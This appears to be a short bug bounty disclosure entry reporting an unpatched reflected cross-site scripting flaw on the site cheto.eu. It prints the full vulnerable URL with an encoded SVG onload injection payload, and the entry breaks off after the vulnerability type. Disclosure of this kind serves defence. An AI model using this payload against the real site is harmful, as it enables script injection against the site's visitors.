cheto.eu XSS vulnerability

Vulnerable URL: https://www.cheto.eu/en/?op=search=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 22.10.2017 Vulnerability type:| XSS Vulnerability...